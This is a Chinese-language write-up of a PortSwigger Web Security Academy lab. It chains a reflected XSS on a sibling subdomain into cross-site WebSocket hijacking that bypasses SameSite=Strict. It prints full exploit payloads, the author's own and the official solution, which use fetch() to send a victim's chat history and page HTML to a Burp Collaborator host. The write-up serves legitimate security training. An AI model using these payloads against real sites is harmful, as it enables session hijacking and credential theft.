Burp Web Academy CSRF 跨站请求伪造(二)

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的跨站请求伪造(CSRF,Cross-site request forgery)章节。

0x02. Lab: SameSite Strict bypass via sibling domain

This lab’s live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim’s account.

To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim’s chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.

If you haven’t done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab.

访问 /chat 页面,发现加载了 /resources/js/chat.js

1
2
3
4
5
6
7
GET /resources/js/chat.js HTTP/2
Host: 0ad9005d03a6581d800617b4003a0037.web-security-academy.net
Cookie: session=sbTM1nNRF9jCUVgLAECwBRmrvFDvVg5C
Accept: */*
Referer: https://0ad9005d03a6581d800617b4003a0037.web-security-academy.net/chat
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

在响应头中,设置了 Access-Control-Allow-Origin,允许 https://cms-0ad9005d03a6581d800617b4003a0037.web-security-academy.net 跨域访问。

1
2
3
4
5
6
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
Cache-Control: public, max-age=3600
Access-Control-Allow-Origin: https://cms-0ad9005d03a6581d800617b4003a0037.web-security-academy.net
X-Frame-Options: SAMEORIGIN
Content-Length: 3561

打开 https://cms-0ad9005d03a6581d800617b4003a0037.web-security-academy.net,发现是一个登录页面,会回显用户名,此处存在 XSS 漏洞。那么,我们可以通过该页面的 XSS 发起 CSWSH 攻击(Cross-Site WebSocket Hijacking),泄露聊天记录。

💡注意

  1. 有没有 WebSocket 跨站劫持攻击,可以直接写个 JavaScript 脚本测试
  2. XSS 漏洞可以用来绕过 SameSite=Strict 限制

先简单看下 /resources/js/chat.js 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
(function () {
var chatForm = document.getElementById("chatForm");
var messageBox = document.getElementById("message-box");
var webSocket = openWebSocket();

// 1. 需要对象存在
messageBox.addEventListener("keydown", function (e) {
// -------- cut --------
});

// 2. 需要对象存在
chatForm.addEventListener("submit", function (e) {
// -------- cut --------
});

function writeMessage(className, user, content) {
var row = document.createElement("tr");
row.className = className

var userCell = document.createElement("th");
var contentCell = document.createElement("td");
userCell.innerHTML = user;
contentCell.innerHTML = (typeof window.renderChatMessage === "function") ? window.renderChatMessage(content) : content;

row.appendChild(userCell);
row.appendChild(contentCell);
// 3. 需要对象存在
document.getElementById("chat-area").appendChild(row);
}

// -------- cut --------

function openWebSocket() {
return new Promise(res => {
if (webSocket) {
res(webSocket);
return;
}

// 4. action 属性
let newWebSocket = new WebSocket(chatForm.getAttribute("action"));

newWebSocket.onopen = function (evt) {
writeMessage("system", "System:", "No chat history on record");
newWebSocket.send("READY");
res(newWebSocket);
}

newWebSocket.onmessage = function (evt) {
// -------- cut --------
// writeMessage 展示消息
};

newWebSocket.onclose = function (evt) {
webSocket = undefined;
writeMessage("message", "System:", "--- Disconnected ---");
};
});
}
})();

从中可以看出,要使得代码正常运行,需要确保页面中存在几个特定的元素。因此,加载 /resources/js/chat.js 之前需要确保这些元素已经准备好。

此外,WebSocket 交互是异步的,需要确保 WebSocket 消息已经全部处理完毕之后,再尝试发送数据到 Burp Collaborator。同时,发送数据到 Burp Collaborator 时需要使用 https 协议,否则 https 页面会拒绝访问 http 资源。

那么,怎么把聊天记录发送出来呢?我们可以把整个页面的 HTML 代码都发出来,通过 document.documentElement.outerHTML 引用。为了等待 WebSocket 消息处理完毕,我们可以使用 setTimeout 延时执行代码。

最后,使用反引号,可以在 JavaScript 中定义多行字符串。而为了避免字符串中的 </script> 导致 <script> 标签提前闭合,需要对 / 进行转移,写成 <\/script> 即可。

完整的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<form action=https://cms-0ad9005d03a6581d800617b4003a0037.web-security-academy.net/login method=POST>
<input type="text" name="username" value="" />
<input type="text" name="password" value="1" />
</form>

<script>
var payload = `<script>
var e = document.createElement('table');
e.setAttribute('id', 'chat-area');
document.body.appendChild(e);
e = document.createElement('form');
e.setAttribute('id', 'chatForm');
var wsurl = 'wss://0ad9005d03a6581d800617b4003a0037.web-security-academy.net/chat';
e.setAttribute('action', wsurl);
t = document.createElement('textarea');
t.setAttribute('id', 'message-box');
e.appendChild(t);
document.body.appendChild(e);
<\/script>

<script src='https://0ad9005d03a6581d800617b4003a0037.web-security-academy.net/resources/js/chat.js'>
<\/script>

<script>
function delayFunc() {
fetch('https://gh1n6kd1bhu4qqxk4pnaqyog47ayyomd.oastify.com', {
method: 'POST', mode: 'no-cors', body: document.documentElement.outerHTML
});
}
setTimeout(delayFunc, 3000);
<\/script>`;

document.forms[0].elements["username"].value = payload;
document.forms[0].submit();
</script>

0x03. 官方解答对比

首先,测试 Cross-Site WebSocket Hijacking 漏洞是否存在。

1
2
3
4
5
6
7
8
9
<script>
var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

其次,确认 cms- 域名的登录请求可以通过 GET 方法触发,因此也可以通过 GET 触发 XSS 漏洞。

之后,准备利用 Payload 代码。

1
2
3
4
5
6
7
8
9
<script>
var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

最后,对 Payload 进行 URL 编码,然后构造如下漏洞利用代码:

1
2
3
<script>
document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything";
</script>

0x04. 小结

这个题虽然直接做出来了,但是很多概念还是经过多次确认,才彻底弄明白。

  • Access-Control-Allow-Origin 对单个资源生效,即仅限于当前请求的资源,而不会对整个域名(或子域名)下的所有资源生效
    • 在本题中,Access-Control-Allow-Origin 只是用来帮助发现兄弟域名
  • SameSite=Strict 是指只有同一个 Site 触发的请求(和返回 Set-Cookie 的 Site 一致)才会携带 Cookie
    • 根据 Mozilla 的文档,Registrable Domain 被认为是一个 Site
      • 所谓 Registrable Domain 即可注册的域名,比如 mozilla.org,该域名下的所有子域名都被认为是同一个 Site
        • 比如 support.mozilla.orgdeveloper.mozilla.org
    • 在严格的定义下,协议(Scheme)也会用来区分 Site,比如 httpshttp 对于同一个域名而言,会被认为是不同的 Site
    • 这也是为什么题目中不同的子域名发起请求时,可以绕过 SameSite=Strict 的原因
  • SameSite=Strict 下 WebSocket 是怎么拿到 Cookie 的?
    • 通过 API WebSocket 发起连接时,会有一个握手过程,该过程发送 HTTP 请求时会携带 Cookie,服务端可以获取这个发送的 Cookie
    • HTTP 请求头通过 Connection: UpgradeUpgrade: websocket 指明升级到 WebSocket 协议
  • 使用 document.documentElement.outerHTML 引用当前页面的 HTML 源码
  • 不要在 https 页面中请求 http 资源,这种情况被称为混合内容(Mixed Content),可能会带来安全风险,通常会被浏览器拦截
  • JavaScript 通过反引号定义多行字符串,/ 字符可以使用转义形式 \/,以避免 Tag 非预期闭合
  • createElement 创建的元素,需要 appendChild 之后才会生效

0x05. 参考文档

  1. https://portswigger.net/web-security/all-labs#cross-site-request-forgery-csrf
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value
  3. https://developer.mozilla.org/en-US/docs/Glossary/Site